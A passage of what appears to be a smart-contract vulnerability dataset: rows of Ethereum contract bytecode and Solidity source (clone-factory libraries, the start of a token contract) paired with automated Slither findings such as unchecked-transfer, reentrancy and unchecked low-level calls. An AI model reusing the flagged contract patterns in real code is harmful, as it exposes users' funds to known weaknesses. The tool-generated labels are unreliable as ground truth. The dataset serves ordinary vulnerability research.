} | 0x60606040526004361061011c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062f29d551461012157806308218c981461017f57806308fa0e92146101c45780631a19758814610218578063288cdc91146102545780632f54bf6e1461028f5780633d18678e146102e057806343f0179b146103035780634b023cf81461032c57806365e17c9d146103655780638322fff2146103ba5780638da5cb5b1461040f5780638f449a0514610464578063b1c0e06314610479578063b92ae87c146104a1578063bc063e1a146104f2578063c6f54e621461051b578063f2fde38b14610543578063f3fef3a31461057c578063fbfa77cf146105be578063fcae448414610613575b600080fd5b341561012c57600080fd5b610165600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560001916906020019091905050610628565b604051808215151515815260200191505060405180910390f35b341561018a57600080fd5b6101c2600480806060019091908060800190919080359060200190820180359060200191909192908035906020019091905050610698565b005b34156101cf57600080fd5b6101fe600480806060019091908060800190919080359060200190820180359060200191909192905050610730565b604051808215151515815260200191505060405180910390f35b341561022357600080fd5b61023e600480806060019091908060800190919050506107e6565b6040518082815260200191505060405180910390f35b341561025f57600080fd5b610279600480803560001916906020019091905050610861565b6040518082815260200191505060405180910390f35b341561029a57600080fd5b6102c6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610886565b604051808215151515815260200191505060405180910390f35b34156102eb57600080fd5b61030160048080359060200190919050506108df565b005b341561030e57600080fd5b610316610913565b6040518082815260200191505060405180910390f35b341561033757600080fd5b610363600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610919565b005b341561037057600080fd5b610378610997565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103c557600080fd5b6103cd6109bd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561041a57600080fd5b6104226109c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046f57600080fd5b6104776109e7565b005b341561048457600080fd5b61049f60048080606001909190806080019091905050610add565b005b34156104ac57600080fd5b6104d8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c76565b604051808215151515815260200191505060405180910390f35b34156104fd57600080fd5b610505610ccc565b6040518082815260200191505060405180910390f35b341561052657600080fd5b61054160048080604001909190806080019091905050610cd7565b005b341561054e57600080fd5b61057a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061129e565b005b341561058757600080fd5b6105bc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112f5565b005b34156105c957600080fd5b6105d1611442565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561061e57600080fd5b61062661146c565b005b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060009054906101000a900460ff16905092915050565b6107296106ef86600380602002604051908101604052809291908260036020028082843782019150505050508660048060200260405190810160405280929190826004602002808284378201915050505050611561565b3385858080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508461166c565b5050505050565b600061073a612a12565b600061079087600380602002604051908101604052809291908260036020028082843782019150505050508760048060200260405190810160405280929190826004602002808284378201915050505050611561565b915061079b82611fce565b90506107da8286868080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050836122a7565b92505050949350505050565b60006107f0612a12565b61084484600380602002604051908101604052809291908260036020028082843782019150505050508460048060200260405190810160405280929190826004602002808284378201915050505050611561565b90506108588161085383611fce565b6124ab565b91505092915050565b6000600560008360001916600019168152602001908152602001600020549050919050565b60008173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050919050565b6108e833610886565b15156108f357600080fd5b6611c37937e08000811115151561090957600080fd5b8060028190555050565b60025481565b61092233610886565b151561092d57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561095357600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610a4057600080fd5b6001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fa88fac53823b534c72d6958345adbe6801e072750d83b490d52ebbac51473a6360405160405180910390a2565b610ae5612a12565b6000610b3b84600380602002604051908101604052809291908260036020028082843782019150505050508460048060200260405190810160405280929190826004602002808284378201915050505050611561565b9150816000015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7b57600080fd5b60008260600151118015610b93575060008260800151115b1515610b9e57600080fd5b610ba782611fce565b9050816080015160056000836000191660001916815260200190815260200160002054101515610bd657600080fd5b60066000826000191660001916815260200190815260200160002060009054906101000a900460ff16151515610c0b57600080fd5b600160066000836000191660001916815260200190815260200160002060006101000a81548160ff02191690831515021790555080600019167fbaa1eb22f2a492ba1a5fea61b8df4d27c6c8b5f3971e63bb58fa14ff72eedb7060405160405180910390a250505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6611c37937e0800081565b610cdf612a12565b6000610e016060604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001866000600281101515610d3157fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001866001600281101515610d8c57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508460048060200260405190810160405280929190826004602002808284378201915050505050611561565b9150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a389783e8360000151306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515610ef757600080fd5b5af11515610f0457600080fd5b505050604051805190501515610f1957600080fd5b8160600151600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f7888aec846020015185600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561101657600080fd5b5af1151561102357600080fd5b505050604051805190501015151561103a57600080fd5b816040015173ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff161415151561107d57600080fd5b6000826060015111151561109057600080fd5b600082608001511115156110a357600080fd5b6110ac82611fce565b9050600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff1615151561112057600080fd5b6001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055507f24ec4e2d3ad6fb01b5c3b3466504af096fcd9b951cd27a3a0e56225d39c17aa0826000015183602001518460400151856060015186608001518760a001518860c00151604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390a150505050565b6112a733610886565b15156112b257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112fe33610886565b151561130957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611383573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561137e57600080fd5b61143e565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561142557600080fd5b5af1151561143257600080fd5b50505060405180519050505b5050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156114c457600080fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fae563681ccc696fae58fe830f401bc9c043a43ddb9f7c2830b32c3c70d9966e760405160405180910390a2565b611569612a12565b60e06040519081016040528084600060038110151561158457fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1681526020018460016003811015156115b357fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1681526020018460026003811015156115e257fe5b602002015173ffffffffffffffffffffffffffffffffffffffff16815260200183600060048110151561161157fe5b6020020151815260200183600160048110151561162a57fe5b6020020151815260200183600260048110151561164357fe5b6020020151815260200183600360048110151561165c57fe5b6020020151815250905092915050565b600080600080876000015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141515156116b157600080fd5b6116ba88611fce565b9350876040015173ffffffffffffffffffffffffffffffffffffffff16886020015173ffffffffffffffffffffffffffffffffffffffff16141515156116ff57600080fd5b61170a8887866122a7565b151561171557600080fd5b611728856117238a876124ab565b61262a565b92506103e8611740848a608001518b60600151612643565b1115151561174d57600080fd5b82600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f7888aec8a604001518a6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561184257600080fd5b5af1151561184f57600080fd5b505050604051805190501015151561186657600080fd5b6118938860800151611885858b606001516126ac90919063ffffffff16565b6126df90919063ffffffff16565b91506118c4670de0b6b3a76400006118b6600254856126ac90919063ffffffff16565b6126df90919063ffffffff16565b90506000811115611a3657600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f18d03cc89602001518a60000151600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b1515611a2557600080fd5b5af11515611a3257600080fd5b5050505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f18d03cc8960400151898b60000151876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b1515611b6a57600080fd5b5af11515611b7757600080fd5b505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f18d03cc89602001518a600001518a611bd6868861272090919063ffffffff16565b6040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b1515611cc057600080fd5b5af11515611ccd57600080fd5b505050611cfe836005600087600019166000191681526020019081526020016000205461273990919063ffffffff16565b6005600086600019166000191681526020019081526020016000208190555087608001516005600086600019166000191681526020019081526020016000205411151515611d4857fe5b60076000896000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ea457876000015173ffffffffffffffffffffffffffffffffffffffff16619c40896000015173ffffffffffffffffffffffffffffffffffffffff1663f186011890507c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004908a60400151866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060006040518083038160008887f19350505050505b83600019167fe1d2889bf5062ca6cccab7b9d6f0548e654943875f2a9c45eaaef37b11d7f68c8960200151848b60400151878d600001518d604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001965050505050505060405180910390a25050505050505050565b600060405180807f616464726573732054616b657220546f6b656e00000000000000000000000000815250601301807f75696e742054616b657220546f6b656e20416d6f756e74000000000000000000815250601701807f61646472657373204d616b657220546f6b656e00000000000000000000000000815250601301807f75696e74204d616b657220546f6b656e20416d6f756e74000000000000000000815250601701807f75696e7420457870697265730000000000000000000000000000000000000000815250600c01807f75696e74204e6f6e636500000000000000000000000000000000000000000000815250600a01807f61646472657373204d616b657200000000000000000000000000000000000000815250600d01807f616464726573732045786368616e6765000000000000000000000000000000008152506010019050604051809103902082604001518360800151846020015185606001518660a001518760c00151886000015130604051808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140198505050505050505050604051809103902060405180836000191660001916815260200182600019166000191681526020019250505060405180910390209050919050565b600080600560008460001916600019168152602001908152602001600020541415612302576122da846000015183610628565b1580156122f357506122f182856000015185612757565b155b1561230157600090506124a4565b5b60066000836000191660001916815260200190815260200160002060009054906101000a900460ff161561233957600090506124a4565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a389783e8560000151306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561242d57600080fd5b5af1151561243a57600080fd5b50505060405180519050151561245357600090506124a4565b60008460800151141561246957600090506124a4565b60008460600151141561247f57600090506124a4565b600061248b85846124ab565b141561249a57600090506124a4565b428460a001511190505b9392505050565b60006126226124e260056000856000191660001916815260200190815260200160002054856080015161272090919063ffffffff16565b61261d856060015161260f8760800151600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f7888aec8a602001518b600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156125ea57600080fd5b5af115156125f757600080fd5b505050604051805190506126ac90919063ffffffff16565b6126df90919063ffffffff16565b61262a565b905092915050565b6000818310612639578161263b565b825b905092915050565b6000808380151561265057fe5b8584099050600081141561266757600091506126a4565b6126a161267d84876126ac90919063ffffffff16565b612693620f4240846126ac90919063ffffffff16565b6126df90919063ffffffff16565b91505b509392505050565b600080828402905060008414806126cd57508284828115156126ca57fe5b04145b15156126d557fe5b8091505092915050565b6000806000831115156126ee57fe5b82848115156126f957fe5b049050828481151561270757fe5b06818402018414151561271657fe5b8091505092915050565b600082821115151561272e57fe5b818303905092915050565b600080828401905083811015151561274d57fe5b8091505092915050565b60008060008060006042865114151561276f57600080fd5b85600081518110151561277e57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900460ff1660028111156127fa57fe5b935085600181518110151561280b57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f01000000000000000000000000000000000000000000000000000000000000009004925060228601519150604286015190506001600281111561289657fe5b8460028111156128a257fe5b14156128f5578760405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020975061295d565b60028081111561290157fe5b84600281111561290d57fe5b141561295c578760405180807f19457468657265756d205369676e6564204d6573736167653a0a200000000000815250601b018260001916600019168152602001915050604051809103902097505b5b8673ffffffffffffffffffffffffffffffffffffffff16600189858585604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af115156129e557600080fd5b50506020604051035173ffffffffffffffffffffffffffffffffffffffff16149450505050509392505050565b60e060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160008152602001600081526020016000815250905600a165627a7a7230582069f681d22425f20a6827b2127df9747b7ba4db58f3517626c1683ff1e3bc9b030029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 1,134 |
0x91ce5566dc3170898c5aee4ae4dd314654b47415 | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library ClonesUpgradeable {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `master`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address master) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `master`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `master` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(master, salt, address(this));
}
}
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title InitializableClones
* @author David Lucid <david@rari.capital> (https://github.com/davidlucid)
* @notice Deploys minimal proxy contracts (known as "clones") and initializes them.
*/
contract InitializableClones {
using AddressUpgradeable for address;
/**
* @dev Event emitted when a clone is deployed.
*/
event Deployed(address instance);
/**
* @dev Deploys, initializes, and returns the address of a clone that mimics the behaviour of `master`.
*/
function clone(address master, bytes memory initializer) external returns (address instance) {
instance = ClonesUpgradeable.clone(master);
instance.functionCall(initializer, "Failed to initialize clone.");
emit Deployed(instance);
}
} | 0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80630fbe133c14610030575b600080fd5b6100e66004803603604081101561004657600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561007157600080fd5b82018360208201111561008357600080fd5b803590602001918460018302840111640100000000831117156100a557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610102945050505050565b604080516001600160a01b039092168252519081900360200190f35b600061010d836101a5565b9050610162826040518060400160405280601b81526020017f4661696c656420746f20696e697469616c697a6520636c6f6e652e0000000000815250836001600160a01b03166102479092919063ffffffff16565b50604080516001600160a01b038316815290517ff40fcec21964ffb566044d083b4073f29f7f7929110ea19e1b3ebe375d89055e9181900360200190a192915050565b6000604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528260601b60148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f09150506001600160a01b038116610242576040805162461bcd60e51b8152602060048201526016602482015275115490cc4c4d8dce8818dc99585d194819985a5b195960521b604482015290519081900360640190fd5b919050565b60606102568484600085610260565b90505b9392505050565b6060824710156102a15760405162461bcd60e51b81526004018080602001828103825260268152602001806104676026913960400191505060405180910390fd5b6102aa856103bc565b6102fb576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061033a5780518252601f19909201916020918201910161031b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461039c576040519150601f19603f3d011682016040523d82523d6000602084013e6103a1565b606091505b50915091506103b18282866103c2565b979650505050505050565b3b151590565b606083156103d1575081610259565b8251156103e15782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561042b578181015183820152602001610413565b50505050905090810190601f1680156104585780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6ca26469706673582212204e852b7ed12456b607cec92e10ad71614c085a30e5f77e864abe16a29125650864736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,135 |
0x0D19ec123Beb581b6A723C11BD74c8579ac6cc9e | pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract BTRUST {
/// @notice EIP-20 token name for this token
string public constant name = "BTRUST";
/// @notice EIP-20 token symbol for this token
